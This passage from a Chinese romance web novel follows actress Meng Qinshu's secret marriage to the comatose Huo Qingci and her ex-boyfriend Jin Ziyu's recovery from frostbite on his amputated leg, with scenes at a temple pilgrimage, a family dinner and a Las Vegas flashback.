细白的无名指上那枚钻戒,钻石光泽耀目,孟秦书真的结婚了,而不是骗他。
我和霍清辞结婚了……
霍清辞把小书这个‘妹妹’照顾的无微不至,不但如此霍清辞还爱屋及乌地关照到他,是他没珍惜小书,没做到对霍清辞的承诺。
霍清辞。
挺好。
靳子煜想给她一个笑脸祝福他们,可难以笑出来。
“小……霍太太,谢谢。”
舌尖不知哪里来的苦味,靳子煜微阖眼已不敢在直视她。
孟秦书淡问,“喝水吗?”
指尖碰到茶几上的透明玻璃花瓶,孟秦书不着痕迹地低眸,一半的清水里面栽了几枝水仙花,米黄色花瓣,黄色花芯,根茎在水中张开,像一根根玉米须,满满的生命力。
靳子煜闻声掀眼,“不用,谢谢。”
飞机机身震动了一下,起飞了。
待水中波纹完全消失,孟秦书双手按住沙发扶手,放下腿,她再次转脸看靳子煜,立刻对上他复杂深邃的黑眸,而他表情僵了一下,紧随着他牵动角唇,能看出他是很努力在表达这是个笑。
孟秦书问,“你哪些东西被抢了?”
靳子煜往上坐些,“我昨晚出去只带了钱包,来这里前我把证件都放入行李箱夹层里,所以只是被抢了一些现金。”
“警方会继续调查,我给他们留了你的手机号,有线索他们会打电话。”孟秦书换个话题,说起正事,“靳子煜,关于你目前的身体情况……我想我有必要跟你说。”
孟秦书把医生说给她听的一字不落的复述给靳子煜。
右手往下走放在残肢上,那里不是疼而是一种冻僵的麻木感,他所剩余的二十公分正是髋关节,通俗讲是臀部。
如果再截肢他恐怕连臀部都保不住,一旦失去臀部哪怕二分之一,未来他的行走步态不但丑陋,且终生必须使用辅助工具,清醒过来的靳子煜生出迟来的后悔。
孟秦书正了正坐姿,嗓音干涩,“靳子煜,一定会没事的。”
靳子煜短暂晃了个神,回道:“小书……霍太太我以后不会再做这种事。”
将来无论发生什么,他不会再生出昨晚那种不成熟的念头。
双手撑了下沙发扶手,孟秦书转眼看那扇闭合着的移门,“我让他们送水进来。”
*
十点半到达海城国际机场,孟秦书没再跟着靳子煜,宋特助有派人全程跟进,孟秦书回了一趟“汇悦台”,在顺便去了趟楼上,今天是周六,孟媛在孟坤这儿。
孟媛和孟坤也有半年没见到孟秦书,但孟坤的吃的靶向药孟秦书一次性付了一年,特殊药物储存在医院里,孟坤只需每月去医院领取两次。
孟坤端来一杯热水放在孟秦书手边,孟秦书等他落座,再当着两人的面宣布,“有件事我通知你们一声,我三月份结婚了,在拉斯维加斯领的证。”
那两人同时露出诧异的神色,孟秦书淡淡看向孟坤,“人生真的很奇妙,兜兜转转,如你所愿我嫁给了霍清辞。”
不愧是亲父女,惊愕的表情都是同步同样。
“小书,我……”孟坤欲言又止。
孟秦书已判断出是谁透露给靳子煜那件事的,这对父女只知道她刺伤了人,知道她被判刑,但后来的事他们不知道。
她没有要怪他们的意思,而是提醒他们,她和靳子煜已桥归桥路归路,不需要他们在背后为她做任何事,都是聪明人,尤其孟坤,他闭上嘴巴,咽下去想说的话。
孟秦书只能在海城待一天,现在手里这部民国剧,需要去国内多个地区取景,第二天她坐保姆车到达云梦影视城。
上午他接到宋特助的来电,宋特助告诉了她一个好消息,靳子煜的右腿经过一天一夜的治疗冻伤部位已存活,已经不需要截肢,孟秦书替靳子煜高兴,挂断电话,她马上给靳子煜编辑微信信息。
MQS【听说你右腿存活了,祝贺你。】
孟秦书退格删除,放下手机。
靳子煜这次住院没告诉江雪,他聘请了一名男护工,他能架拐杖走,可以自理,只需要护工为他跑进跑出买早中晚三餐,偶尔跑出去一趟买些生活日用品。
治疗的第三天,残肢已恢复正常,只是残肢伤口还没完全好透,他的假肢带回来了,但出了故障,需送去技术部门整修。
家里倒是还有一只,不过他最近都无法穿戴假肢,靳子煜第四天出院,他坐出租车回到家。
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>架着双拐,右裤腿空荡荡的他,不止吓住了静姐,连书书都愣了一下,也不围着他转了,像不认识他似的。
靳子煜跟学校请了十天的假,到了第十天,早上他试着穿假肢,没有完全愈合的伤,不能重踩,残肢一受压力就是皮肉撕裂的疼痛,而这种外伤引起的疼痛止痛药不起任何作用。
靳子煜脱掉假肢,重新穿上裤子,他坐在床边,低下眼去看。
裤腿扁扁的挂着,有一小段还拖到了地上,站起时没有整条腿撑着,右裤脚几乎垂到鞋底。
较之平常,巨大的反差,也不难怪静姐见到不完整的他时脸都白了一度。
穿戴整齐靳子煜架着双拐下楼,他麻烦静姐到楼上把他卫生间的轮椅搬下来,静姐不问缘由,依从他的话。
书书在他身边转过来转过去,据说贵宾有六七岁的智商,见到再次完整的他,大概觉得他会变戏法,一定很稀奇。
静姐帮他把轮椅放到副驾驶,靳子煜脱下双拐,交给绕过车头到他旁边的静姐,他侧坐到座椅上,先把右腿搬进来,再抬起左腿放进车内。
“砰。”
关上车门,出发去海城大学。
今年的九月少见的高温天持续了小半个月,烈日炎炎,气温高得像蒸笼,校园里的桐树枝叶茂盛,阳光穿透树叶间的缝隙,斑斑驳驳的铺了一地,知了不知疲惫的在树间鸣叫,好像在讨论夏天什么时候能过去。
“切割半径越大,输出位移越大,其实验和理论结果趋势一致……”
高温天最容易犯困,后坐有几位同学,上眼皮和下眼皮一直在打架,但每次讲台上的靳教授一开口他们就会清醒几秒,靳教授的声音十分动听,犹如山涧流淌的清清凉凉的泉水。
今天靳教授坐在轮椅推进来的,可能是腿受伤了,但他时不时会站起来,把一些知识要点,提炼出来手写到黑板上,加深台下学生们的对这堂课所学知识点的印象。
下午这堂课结束,靳子煜去了行政楼,去领取这学期科研名单,行政楼有电梯,靳子煜坐电梯到五楼,梯门打开,他遇到了正要进电梯的孟媛,孟媛见他坐着轮椅神情微措。
领了名单,靳子煜回到楼下,刚出电梯门便看到了正门外站那儿特意等他的孟媛,两人绕到行政楼背面。
一米高的绿植完全掩住轮椅上的靳子煜,孟媛露了个上半身,想到接下来的话对靳子煜打击一定很大,孟媛一时不知怎么启口。
靳子煜抬头,黑亮的眸清澈中透着认真,静静等待她开口,孟媛为他们这段感情终究没能修成正果的感情感到惋惜,她浅吁一口气后说:“靳教授,我姐她结婚了,我也是前两天才知道。”
孟媛在靳子煜脸上没有看到很惊讶,更没有忧心难过,像是提前知道了似的,不但如此,他还对她微微一笑,语调缓缓,“孟媛,谢谢告诉我。”
靳子煜已经知道孟秦书七年前伤人入狱的事,不是孟媛告诉的他,而是父亲,她也是后来才知道的。
父亲有早晚去马路对面小公园锻炼的习惯,孟秦书出国后的第二个月,父亲有很多次晚上锻炼回来,看到靳子煜站在喷泉池旁昂头望小区内部。
靳子煜每次来只要见到父亲都会恭敬地叫一声“叔叔”,但靳子煜没缠着他追问孟秦书在哪里。
父亲是打心眼里最看不上靳子煜的,父亲固执地说,即使自己现在已落魄仍是瞧不上。
但父亲又说,小书是真的喜欢这个穷小子,自从和靳子煜的分手后整个人是一种对生活失去意义的状态,在这样下去怕真的会去出家。
心病还须心药医,纵然百般看不上,一次次见面之后父亲还是把当年发生的事情告诉了靳子煜。
谁会知道孟秦书这趟去美国一去竟是半年,期间他们虽有联系但不多,都是孟秦书隔一阵发一条语音让她多去“他”的住所。
“他”指的是父亲。
孟秦书以由直呼其名,改为人称代词。
有一次父亲让她去问孟秦书海外的住址,她编辑信息发过去,结果石沉大海,对于不想回答的问题,孟秦书一律不予理睬。
58. 霍太太
云梦影视城的戏份拍完到了月底,九月三十号这天,凌晨三点,孟秦书乔装打扮打车前往云梦镇以北,国内十大古刹之一的东褚寺。
一千零八级台阶,传闻三步一叩首,至山顶的东褚寺,留下被祈福人的姓名,即能为他们求健康、祈平安。
以最虔诚的心,一路跪拜,从天黑到天亮,三个半小时孟秦书爬至山顶,整个人汗流浃背,浑身上下就跟从水里打捞出来一样。
孟秦书进大殿里上了一炷香,献上香火钱,再向一旁的大师道明来意,大师随即拿出一张十厘米长度的红色福纸平铺在桌上。
孟秦书俯身拿起搁在笔枕上的毛笔,沾上砚台里的墨汁,一笔一划写下为祈愿人的姓名,待墨迹风干,孟秦书拿起祈福纸,步出大殿,走至大殿背面。
环形护栏上挂了数不清的祈福纸,快堆积成小山,其中有不少在日晒雨淋下红色已褪色成黄色,字迹也变得模糊,看得出有不少年头了。
祈福纸顶端有一个小洞,孟秦书捏起一根黄绳,穿过小洞打了个结,绑完祈福纸,孟秦书沿着曲径向山下走了五六米的路,进一座方亭里歇息。
晨光熹微,犹如一道金光,斜洒入亭内,洒在坐兰凳上的孟秦书的一半身体上,孟秦书取掉左耳上防晒口罩的挂绳,往右捻将整只口罩收进掌心。
汗湿的口罩,由灰色变成了深灰色,拧一把还能拧出水来,一路来孟秦书见的最多的是中老年人,她将口罩塞入防晒服的口袋中,下山不打算再戴它。
*
回到海城已经是傍晚,孟秦书由公司出发叫了一辆专车开到锦府外面,这里是霍清辞父母的住处,出入限制非常严密,没有主人家邀请外人严禁踏入。
由于处在市中心,锦府占地面积不大,里面一共有十套私家中式庭院,每套设计各有不同,独具一格。
霍家老宅就是一个缩小版的园林,白墙黑瓦,朱红色四开大门,跨进门入眼先看到一片不规则形状的锦鲤池,对面是亭台水榭,假山瀑布。
沿着风雨廊绕过前厅,便能看到一栋二层小楼,霍家人平时食、住便在这栋楼里,两名佣人替她开门,孟秦书进门弯腰换上家居鞋。
“小书,回来了,快去吃饭。”
姚宇自餐厅出来,看见往里走的孟秦书招呼她去吃饭,孟秦书扬起唇角,“我去洗个手。”
霍清辞回到国内,姚宇隔三差五会来家里看他,都快把这里当自己第二个家了。
花梨木圆形餐桌上面放着色香味俱全的六道菜,主位上的霍齐业看到进门的孟秦书,不怒而威的脸色不由得柔了一两分。
“霍叔、纪教授,我来迟了。”孟秦书进门先道歉。
纪兰坐在霍齐业右手边第一张座,纪兰把筷子搁在筷架上,笑眯眯地向她招手,“小书来吃饭。”
九月初孟秦书跟随霍清辞回国,没去工作那几天,孟秦书都住在霍宅,晚上睡霍清辞隔壁的房间。
吃好晚饭,孟秦书和姚宇一起上二楼,一起进霍清辞房间,小客厅里坐着有一名医生和三位护理人员,见到他们进来,三人自觉地走了出去。
“嘀嘀嘀”心电监护仪日夜不间断的运行着。
孟秦书蹲在床边把霍清辞露在被面上食指上夹着血氧仪的右手托起,再另只手掀开被子一角,放下他的手,然后轻轻放下被子。
霍清辞面色红润,完全没有一点病气,仿佛随时随地会醒,可他却已经昏迷了五个月。
而在这五个月里,霍清辞有好多次面临生死垂危,一直到了八月份他的病情才日渐稳定,撤掉一些药物和氧气罩,八月底纪兰在咨询当地医生后把他带回国内。
“小书,阿辞说不定很快就能醒。”姚宇坐到一旁的圈椅上,孟秦书听到这个好消息扭头朝他看,姚宇笑说,“前天纪教授带阿辞去医院做了全身检查,各项指标已经趋近正常。”
孟秦书在国外六个月,其中五个月她日夜陪在霍清辞身边,病房隔壁有小间,晚上她睡里面。
病房里有六名护理人员轮班照料他,孟秦书实际上没出什么力,也不需要她做什么,但……他们既然领了证,他们就是夫妻,她有义务陪在他的身边。
霍清辞在昏迷前对宋特助交代了很多事,其中不乏与她有关,比方说让宋特助往后听她的差遣,又比方说让宋特助转达让她不要为了他放下工作。
正是这些话让她起了疑,几次逼问下,嘴巴很严的宋特助只得透露一小部分。
霍清辞之所以昏迷是由于试吃了一种新药,该药物风险和成功率三比七,为了这七成的概率,霍清辞冒险尝试,可结果……
宋特助一个大男人眼含泪说,“霍总吃药前我一再阻止他,可他却对我说,小宋……我想活久一点。”
孟秦书走回来坐姚宇旁边的椅子,姚宇转头看她,不由蹙起眉头,“小书,生病了吗?怎么脸色这么差?”
自孟秦书进门姚宇就发觉这丫头脸色差,一整个有气无力,还没昏迷中的霍清辞气色好。
“没有,只是昨天吊了威压,今天腰酸背痛。”孟秦书没说实话。
一千多级台阶跪下来,腿疼、胳膊疼、浑身上下像是被车碾过一样。
“小书,这五个月辛苦你了。”
霍清辞在国外治疗这段时间,姚宇只要能挤出时间,一定会飞过来他,在姚宇看到孟秦书夜以继日陪伴着他,姚宇有为他感到欣慰。
这个被阿辞捧在手心里保护的丫头,不但成了他的妻子,还担负起了作为妻子的责任。
“宇哥,你刚说哥—”孟秦书改口,“阿辞快醒了是真的吗?”
那天是他们领证后准备拉斯维加斯出发去纽约的前一晚,孟秦书敲开霍清辞套房里书房间的门。
进门她先叫了他一声哥,桌案前的霍清辞憋出一声短暂的笑,“小书,我们商量看看,以后你别叫我“哥”换个称呼可以吗?”
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孟秦书脸红埋下头,却听到椅子搬椅子腿摩擦地板发出的声音,她心一提,紧接着眼前忽地暗了,再一抬头见到已到她面前的霍清辞。
“孟叔常叫我清辞,或者你也可以跟我父母一样叫我阿辞,总之不要再叫我“哥”,会让我觉得我是在……”他略一停顿,“欺负你。”
“阿……阿辞。”孟秦书像婴儿咿呀学语,又把霍清辞给逗笑了。
“很好。”一本正经的表扬完她,霍清辞揉了揉她的光脑门,折身返回书桌前,坐下来又对她说,“我还有不少邮件需要处理,你先回去睡吧。”
孟秦书在他面前就是个听话的“乖孩子”,她依言从他的套房退出去,出门左转进隔壁的房间。
啊……她真的总是不长记性。
姚宇复述完刚才的话,孟秦书没给丁点儿反应,似乎神游天外去了,姚宇打了个响指,孟秦书点了一下脑袋,离散的瞳光重新聚焦。
孟秦书,“我……听见了。”
“我看你真的累了,看来当明星也辛苦。”姚宇关心说,“你自己也要保重身体,时间不早了,我也该回去了。”
孟秦书跟着姚宇一块起身,再把他送到门口,握住门把的姚宇没往下按,还是决定提前和孟秦书打声招呼,“阿辞回国的这一个月,唐蔓有时会来看他,小书,唐蔓对阿辞有十多年的感情,虽说是唐蔓一厢情愿,但这么多年的感情不是说这么容易能放下的,她只是担心阿辞……”
孟秦书听懂姚宇什么意思了,接了他的话道,“宇哥,我理解唐蔓姐对阿辞的感情,我不会多想,更不介意她来看阿辞。”
姚宇用类似“委屈你了”的眼神看她,盯了几秒,姚宇按下门把,走了出去,门轻轻合上,孟秦书注视眼前这扇深蓝色胡桃木门。
霍清辞住院的第二个月,唐蔓被姚宇带来医院,这是唐蔓第一次来,纪兰接待的她,曾经的‘婆媳’有说不完的话,感情热络的像亲母女。
唐蔓第二次来是霍清辞回国前夕,孟秦书识趣地离开病房,不但如此她还叫走了几名医护,给他们留独处的空间,为这事唐蔓特意找她谈过,也为此向她道过歉,孟秦书大方的说“没关系”,她不是故作大方而是真的理解唐蔓。
孟秦书打心里佩服唐蔓,她是个作风泼辣,敢作敢为的女人。
记得那次他们在拉斯维加斯相遇,唐蔓身边的白人男伴和霍清辞两人在牌桌上单挑,结果霍清辞输了一个亿给唐蔓。
唐蔓举起手里的香槟与白人手里的香槟碰了一下,一饮而尽后嘲霍清辞:“LusaMyexhusband,Playingcardspoorlylusa,(我前夫,牌技稀巴烂。)”
白人男点头,“SoIdo。(确实如此)”并补刀,“aloser。(失败者)”
脊椎骤冷,孟秦书回看仍然坐在牌桌上的霍清辞。
而他浑身散着冷气,脸色变得十分难看。